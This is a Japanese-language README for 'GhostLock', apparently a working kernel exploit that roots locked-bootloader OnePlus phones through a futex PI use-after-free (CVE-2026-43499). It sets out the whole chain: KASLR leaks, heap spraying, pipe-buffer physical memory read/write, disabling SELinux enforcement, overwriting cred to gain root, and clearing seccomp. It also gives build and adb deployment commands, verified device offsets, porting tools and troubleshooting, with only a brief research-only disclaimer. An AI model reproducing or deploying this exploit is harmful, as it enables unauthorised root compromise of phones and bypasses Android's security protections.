
(CVE-2026-43499)ブートローダーがロック解除されていない OnePlus デバイス向けカーネルエクスプロイトプログラム。
ロックされたブートローダーを搭載した OnePlus 端末を対象とするカーネルエクスプロイトです。CVE-2026-43499 を使用して、ブートローダーのロック解除や boot.img の変更なしに root 権限を取得します。
認可されたセキュリティ研究および教育目的のみに使用できます。
| 項目 | 詳細 |
|---|---|
| CVE | CVE-2026-43499 |
| 種別 | Futex PI(優先度継承)Use-After-Free |
| 影響範囲 | Linux kernel 2.6.39 ~ 7.1 |
| 修正バージョン | Mainline 7.1(コミット 3bfdc63936dd) |
| Android の状態 | GKI 6.12.x は依然として脆弱 |
pselect6 システムコールは fd_set をカーネルスタックにコピーします。futex PI ウェイター機構と組み合わせると、解放されたスタックフレームが rt_mutex_waiter 構造体として再割り当てされる可能性があります。PI チェーンの走査中に、rb-tree のリバランス処理によって制御されたデータが任意のカーネルアドレスに書き込まれます。
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
同じ SoC ファミリー、Android 16、またはカーネル 6.12.x を搭載した他の OnePlus 端末は、boot.img のオフセット抽出によって対応できます。
GhostLock は権限昇格を処理します。KernelSU のインストールには ksud が必要です(KMI 固有の kernelsu.ko に同梱されています)。
| 入手元 | 備考 |
|---|---|
| ReSukiSU APK(推奨) | ReSukiSU をインストールしてください。APK には libksud.so がバンドルされています。 |
ksud がない場合、エクスプロイトは依然として uid=0 の root シェルを取得できますが、KernelSU はインストールされず、
suは永続化されません。
ANDROID_NDK_HOME または ANDROID_NDK_ROOT を設定します。# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — 静的リンクされた ARM64 ELF 実行ファイルです。
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
初回成功後、
resetpropが自動的にpersist.adb.tcp.port=5555を設定するため、以降の再起動では完全自動実行が可能になります。
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop で ADB TCP 5555 を有効化127.0.0.1:5555 に接続/data/local/tmp/a/e --write1
オフセットは src/devices/offsets.h のルックアップテーブルに格納され、uname -r をキーとします。プログラムは起動時に自動マッチングを行い、未知のカーネルは拒否されます。
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
カーネルポインタが制限されている場合(kptr_restrict)、カーネルアドレスで上書きされた boot_id を介してベースアドレスをリークします。
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
ashmem デバイスにアクセスできる場合、configfs の読み書きプリミティブを使用して ashmem fops テーブルから関数ポインタを読み取り、KASLR オフセットを計算します。
order-3(32KB)ページ上にカーネルオブジェクトを偽造します。
file_operations — ashmem miscdevice の fops ポインタを乗っ取りますrt_mutex_waiter — PI チェーンのウェイターノードをシミュレートしますtask_struct — PI 走査中のタスク参照rt_mutex(ロック) — 正しいウェイター/オーナー情報SKB(ソケットバッファ) + KernelSnitch を介して実装されます。
mm_struct アドレスのリークsendmsg によるカーネルヒープの充填KASLR ベースを取得した後、パイプバッファを使用して物理レベルでのメモリアクセスを行います。
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
対応: pipe_read64、pipe_write64、pipe_phys_read_data、pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
cred の上書き後に、ケーパビリティの読み戻し検証が実行されます。
src/core/miniadb.c — ブートストラップモード用の軽量 ADB プロトコルクライアントです。
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
SHA-1 および SHA-256 署名アルゴリズムに対応しています。
ghostlock-oneplus/
├── Makefile # Build configuration (NDK cross-compile)
├── README.md # Documentation
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Entry point: two-stage write + root shell
│ │ ├── fops.c # FOPS/CFI mode: pselect route, PI write, KASLR leak
│ │ ├── util.c # Utilities: heap spray, KASLR, kernel R/W primitives
│ │ ├── slide.c # SLIDE mode: boot_id KASLR leak + pselect route
│ │ ├── pipe.c # Pipe buffer physical memory R/W (physrw)
│ │ ├── root.c # Cred overwrite, seccomp clear, root child mgmt
│ │ ├── miniadb.c # Built-in ADB client (TCP + RSA auth)
│ │ ├── common.h # Global macros, structs, declarations, constants
│ │ ├── target.h # Target memory layout / struct offsets / KASLR params
│ │ ├── offset.h # Compile-time target config bridge (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct address leak
│ │ ├── kernelsnitch.h # Core algorithm: futex hash collision + brute-force
│ │ ├── futex_hash.h # Futex hash function
│ │ ├── timeutils.h # CPU timestamp measurement (RDTSC)
│ │ └── utils.h # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Device offset tables
│ ├── offsets.h # Aggregate all device offsets (lookup table + sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T offsets (2 kernel versions)
│ └── op15/offsets.h # OnePlus 15 offsets (1 kernel version)
└── tools/ # Offset extraction toolchain
├── extract_target.py # Extract kallsyms global symbol offsets (28 items)
└── extract_btf.py # Extract BTF struct field offsets (57 items)
対象デバイスの boot.img のみが必要です。root やデバイスへのアクセスは不要です。
# 1. Extract kernel from boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Get kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
# Or from vmlinux: nm vmlinux > kallsyms.txt
# 3. Extract global symbol offsets
python tools/extract_target.py # 28 offsets, auto-verified
# 4. Extract struct field offsets
python tools/extract_btf.py kernel # 57 offsets, auto-verified
src/devices/<name>/offsets.h を作成します(ace6t/offsets.h を参照)src/devices/offsets.h に #include しますsrc/core/target.h の KIMAGE_TEXT_BASE とメモリレイアウトを更新します| 項目 | 備考 |
|---|
ADB シェルで実行していることを確認してください。アプリコンテキストでは --bootstrap が必要です。
お使いのカーネルバージョンはまだサポートされていません。新しいデバイスの追加 に従ってオフセットを抽出し、再ビルドしてください。
CORE マクロ)PSELECT_ENTER_DELAY_USEC のタイミングを調整してくださいperf_event_open をブロックしていないか確認してください(アプリコンテキストでは --bootstrap を使用)kaslr_base が有効)ksud が存在し、実行可能であることを確認してくださいload_policy の修正)認可されたセキュリティ研究および教育目的のみに使用できます。
| デバイス | コードネーム | SoC | カーネル | ファームウェア | ステータス |
|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ 検証済み |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ 検証済み |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ 検証済み |
ReSukiSU CI からダウンロードします(ksud-aarch64-linux-android.zip) |
| 種類 | 数 | 抽出方法 |
|---|
| kallsyms グローバルシンボル | 28 | tools/extract_target.py |
| BTF 構造体フィールド | 57 | tools/extract_btf.py |
| 導出値 | 9 | 自動計算 |
| 固定定数 | 12 | ハードコード |
| 構造体 | フィールド数 | 目的 |
|---|
task_struct | 17 | プロセス記述子、cred、seccomp |
rt_mutex_waiter | 6 | UAF 偽造対象 |
cred | 4 | 資格情報、ケーパビリティ |
seccomp | 3 | seccomp フィルタの状態 |
pipe_inode_info | 11 | パイプバッファ操作 |
file_operations | 13 | 偽の fops テーブル |
mm_struct | 1 | メモリ記述子の所有者 |
| モジュール | ファイル | 役割 |
|---|
| エントリ | main.c | CLI 解析、W1/W2 ディスパッチ、ブートストラップフロー |
| PI ルート | fops.c / slide.c | pselect/select スタックレイアウト、futex PI チェーン操作 |
| KASLR | util.c / fops.c / slide.c | デュアルモードバイパス: boot_id リーク + fops テーブルリーク |
| ヒープスプレー | util.c | order-3 ページ割り当て、SKB スプレー、オブジェクトレイアウトの偽造 |
| 物理 R/W | pipe.c | パイプバッファの乗っ取り、任意の物理メモリアクセス |
| 権限昇格 | root.c | cred の上書き、ケーパビリティ検証、seccomp クリア |
| ADB | miniadb.c | 軽量 ADB プロトコルクライアント、RSA 認証 |
| リークエンジン | kernelsnitch/ | mm_struct 位置特定のための futex ハッシュ衝突 |
VA_BITS | 48 vs 39 → target.h のメモリレイアウトを更新 |
| タイミング | common.h の PSELECT_* パラメータを調整 |
| Ashmem | C vs Rust 実装 → extract_target.py のシンボルマッチングを更新 |
| Secureguard | OnePlus 以外のデバイスでは展開が簡素化される場合があります |